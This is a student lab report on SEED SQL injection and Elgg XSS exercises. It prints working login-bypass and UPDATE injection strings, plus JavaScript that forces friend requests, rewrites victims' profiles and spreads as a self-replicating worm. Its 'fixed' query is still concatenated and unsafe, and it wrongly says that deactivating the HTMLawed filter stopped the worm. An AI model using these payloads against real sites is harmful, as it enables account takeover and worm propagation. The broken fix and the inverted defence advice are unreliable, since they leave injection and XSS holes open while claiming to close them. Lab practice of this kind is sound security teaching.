20251909 2025-2026-2 《网络攻防实践》实践十
1、实践内容
1.1 SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
(1)熟悉SQL语句:
我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:
上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:
通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。SQL对抗:修复上述SQL注入攻击漏洞。
1.2 SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口:
在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。
2.基础知识
2.1.SQL(结构化查询语言)
- 定位:操作关系型数据库的标准语言,几乎所有Web应用的后端都依赖它存取数据。
- 核心操作:
- 查:
SELECT ... FROM ... WHERE ... - 增:
INSERT INTO ... VALUES ... - 改:
UPDATE ... SET ... WHERE ... - 删:
DELETE FROM ... WHERE ...
- 查:
- 典型场景:用户登录 → 后端拼接SQL查询用户名密码;搜索商品 → 拼接SQL带
LIKE条件。 - 关键认知:SQL本质是指令,不是纯数据。如果用户输入被当作指令执行,就有风险。
2.2. SQL注入
- 定义:攻击者通过输入字段(表单、URL参数、Cookie等)提交精心构造的SQL片段,使原SQL语句逻辑被篡改,从而执行攻击者想要的数据库操作。
- 根本原因:将不可信的用户输入直接拼接到SQL字符串中,未做过滤/转义,也未使用参数化查询。
- 典型例子(登录绕过):
- 原SQL:
SELECT * FROM users WHERE name='[输入]' AND pwd='[输入]' - 攻击者输入
name为admin' --,SQL变成:
SELECT * FROM users WHERE name='admin' -- ' AND pwd='任意'
--注释掉了后面的密码检查,无需密码即可登录。
- 原SQL:
- 主要危害:绕过认证、拖库(窃取全部用户数据)、删表、提权、甚至写文件或执行系统命令。
- 防御核心:
- 使用参数化查询(预编译语句),将SQL结构与数据分离(最重要)。
- 对输入做严格校验(白名单、类型转换)。
- 最小化数据库权限,避免使用高权限账户连接。
2.3. XSS(跨站脚本攻击,Cross-Site Scripting)
- 定义:攻击者将恶意脚本(通常是JavaScript)注入到看似可信的网站中,当其他用户浏览该页面时,脚本在受害者浏览器中执行。
- 与SQL注入的区别:SQL注入攻击数据库;XSS攻击浏览器/用户。
- 三种主要类型:
- 反射型XSS:恶意脚本通过URL参数传递,后端未经处理直接回显到页面。需要诱导用户点击恶意链接。
- 存储型XSS:恶意脚本被保存到服务器(如评论区、个人资料),任何访问该页面的用户都会中招。危害最大。
- DOM型XSS:前端JavaScript直接操作DOM时,将恶意内容写入页面,不经过后端。
- 典型危害:窃取Cookie(实现无密码登录)、劫持会话、键盘记录、篡改页面内容、钓鱼。
- 防御核心:
- 输出编码:根据上下文(HTML、属性、JS、CSS、URL)对用户输入进行转义。
- 使用内容安全策略(CSP) 限制可执行的脚本来源。
- 对于富文本输入,使用安全的过滤库(如DOMPurify)而非自己写正则。
- 设置Cookie的
HttpOnly属性,防止JavaScript读取敏感Cookie。
2.4蠕虫病毒
蠕虫是一种独立运行的恶意程序,它不需要依附于其他文件,也无需用户任何操作就能主动通过网络自我复制和传播。它与普通计算机病毒最大的区别在于:病毒需要宿主文件(如感染一个.exe)并依赖用户运行才能扩散,而蠕虫可独立存在,利用系统或软件的安全漏洞自动从一台计算机“跳”到另一台。
蠕虫的典型工作方式是不断扫描网络上的其他设备,发现漏洞后立即利用它完成感染,然后在新设备上重复这个过程。这种指数级扩散速度极快,短时间内就能耗尽网络带宽、拖慢系统运行,甚至导致大规模网络瘫痪。著名的“莫里斯蠕虫”“冲击波蠕虫”都是典型例子。
3.实验过程
环境配置:下载虚拟机实验环境,选取压缩包里第一个vmdk磁盘文件打开即可

修改主机名
输入hostname swl后回车
如下图seed@后的主机名已设置为本人姓名首字母。
3.1 熟悉SQL语句
1.再使用命令 mysql -u root -pseedubuntu 登录MySQL数据库。

2.利用指令 show databases;查看mysql中已有的数据库。

3.利用指令 use Users; 和 show tables;(注意“;”)进行切换数据库,并在查看Users数据库中的所有表。

4.利用sql语句 select * from credential; 查看credential中所有记录。

5.使用sql语句 select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录。

3.2 sql相关攻击实践
3.2.1 对SELECT语句的SQL注入攻击
1、首先在浏览器中输入 www.SEEDLabSQLInjection.com 进入已经搭建好的Web页面。如下图:

2、右键查看网页源码,选择view page source
发现登陆的表单中使用 get 方法访问 unsafe_home.php,

3、相关的文件可以利用文件夹进行查看,其地址为:/var/www/SQLInjection/unsafe_home.php。


我们分析上面两幅图里的原代码,发现该程序针对admin和普通用户具有不同的处理方法。
4.我们可以构造 Admin'#,并让 $input_uname 等于该值,这样会使得#后的Password判断不会执行(在sql语句中,#表示注释)。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录,如下图,密码随机输入:

5.成功登录。

3.2.2 对 UPDATE语句的SQL注入攻击
1、首先查看 Edit_Profile 页面的源代码。点击上方的 Edit Profile 进入更新页面,然后右键查看源代码

2.用文件夹查看 unsafe_edit_backend.php 页面,其地址为 /var/www/SQLInjection/unsafe_edit_backend.php。我们可以看到UPDATE更新语句处,

3.通过构造 $input_nickname 的值来进行SQL注入攻击。我们可以使 $input_nickname 的值等于
', Salary='251909' where name='Admin'; #,
也就是把Admin的Salary改为251909。

4、在NickName处输入 :
', Salary='251909‘ where name='Admin'; #

可以看到Admin的Salary已经改为251909!!
3.2.3 sql漏洞修复
从unsafe_home.php 文件的源代码中可以发现, SQL 语句的参数和需要执行的动作或条件混在一起没有分开,导致数据库无法分清楚,产生 SQL 注入风险。御SQL注入的最佳方式,就是使用预编译语句,首先在 unsafe_home.php 页面中,对SELECT语句进行预处理.防
进入www目录下,使用chomd命令修改该文件权限为可修改,修改后端文件unsafehome.php


把sql语句替换成下文:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error running the query [' . $conn->error . ']\n');
echo "</div>";
}

再次使用上面绕过语句:Admin'#尝试进行登录:

发现此时已无法登录

select语句漏洞修复完成。
3.3 SEED XSS跨站脚本攻击实验
3.3.1 原始xss
1、首先在浏览器中访问 http://www.xsslabelgg.com 。

2、使用账号:Alice,密码:seedalice 进行登录。

3、点击Alice头像进入主页,再选择 Edit profile,最后在 Brief description中输入XSS攻击代码 。
<script>alert('xss');</script>
这段代码执行xss跨站脚本攻击其中alert函数可以在前端打印信息,这里我们选择打印字符串“xss”。


4.如上图弹窗成功
3.3.2 弹窗显示cookie信息:将cookie信息显示
1、在 Edit profile 里面的 Brief description 中输入xss攻击代码
<script>alert(document.cookie);</script>
目的是打印网站的cookie值。

2.点击保存后,会显示出如下cookie的信息。这仅是xss的一个基本用途。

3.3.3 窃取受害者的cookies:将cookie发送给攻击者
1、因为需要把cookie发送给攻击者,因此首先查看seed虚拟机的IP地址,从下图可以看出,IP地址为:192.168.200.15。

2、根据seed的IP地址构造xss攻击代码(端口号选择我的学号后四位),在 Edit profile 里面的 Brief description 中输入xss攻击代码 并保存。

3、切换账号,使用boby的账号进行登录。账号:Boby,密码:seedboby。再终端里使用指令 nc -l 1909 -v 监听1909端口。

4、boby账号访问Alice,成功得到Boby的cookie。

3.3.4 成为受害者的朋友
1、先 ctrl+shift+E 打开浏览器开发者模式,进入Network页面,然后点击和Charlie成为好友,这时我们可以在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。

从下图我们可以看到一共申请参数一共有三个,分别是:friend, 2.__elgg_ts, __elgg_token,别分代表着好友的id、时间戳以及token。


3.根据以上信息我们可以构造xss攻击代码。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=46" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
4.将该段代码放到Alice的 About me 下并选择 Edit HTML 模式,点击保存

5.将alice先踢出好友列表,以便于验证代码功能。

6.boby访问alice主页,进入其主页后发现自动添加Alice为好友

3.3.5 篡改受害者的信息
1)构造修改信息xss攻击代码,并输入Alice中about me中edit HTML模式:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p> 20251909swlyyy, I changed this content.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(2)同样登入Boby账号,访问Alice主页,发现访问后Boby主页about me部分被强制修改信息;

3.3.6 编写xss蠕虫病毒
1、我们根据前面的xss攻击代码构造一个具有传染性的xss蠕虫,代码如下:
<script type="text/javascript">
window.onload = function(){
// 核心:蠕虫代码本体(自包含,用于传播)
var wormCode = `<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 关键:把蠕虫代码写入 description,实现传播
var wormPayload = encodeURIComponent("<script type='text/javascript'>"+window.onload.toString()+"</script>");
var content= token + ts +
"name=" + userName +
"&description=<p>I am 20251909swl yyy, I changed this content.</p>" + wormPayload +
"&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>`;
// 原逻辑获取参数
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 构造提交内容:个人简介 + 蠕虫代码(核心传染点)
var content= token + ts +
"name=" + userName +
"&description=<p>I am 20251909swl yyy, I changed this content.</p>" + encodeURIComponent(wormCode) +
"&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
// 非蠕虫所有者,执行传播
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
2.同理将这段xss蠕虫代码放入Alice的About me中,并点击保存。
3.boby访问alice主页

4.接下来我们登录Samy账号,访问已被感染的Boby账号,发现Samy主页的信息也被修改,因此Samy已被Boby传染;

这是蠕虫病毒的传播特性!!
3.3.7 抵抗xss蠕虫
1、首先登录Admin的账号(账号:Admin 密码:seedelgg)。找到Account->Administration->plugins。

2.找到插件 HTMLawed ,将其关闭,设为 Deactivate 状态,该插件主要是用来校验用户的输入输出,并且可以自动删除特定的标签。

3.回到alice主页 发现蠕虫病毒已经失效实验成功!

该功能是一个专门的安全过滤器,会对用户提交的所有 HTML 内容进行
移除危险标签:比如 <script>、<iframe>、<embed> 这类能执行恶意脚本的标签;
移除危险属性:比如 onload、onclick、onerror 这类能触发 JavaScript 的事件属性;
只允许白名单内的安全标签(如 <p>、<b>、<i>)和属性,确保用户提交的内容不会成为 XSS 攻击载体。
4、学习中遇到的问题及解决
问题一:编写的代码段无法复制到虚拟机里,下载VMware tools后完成。

5.总结学习感想
通过本次网络攻防实践课对SQL注入与XSS攻击的学习与动手实验,,此次实验中,成功绕过登录验证或篡改数据库信息,再或者编写蠕虫病毒实现大面积传染可能性。趣味性还是非常强的,不过sql注入技巧还是有点生疏,sqlmap等工具或许有帮助 不过了解构造方式更为重要
参考资料
https://seedsecuritylabs.org/lab_env.html
https://blog.csdn.net/davidhzq/article/details/101621482 vmtool配置
浙公网安备 33010602011771号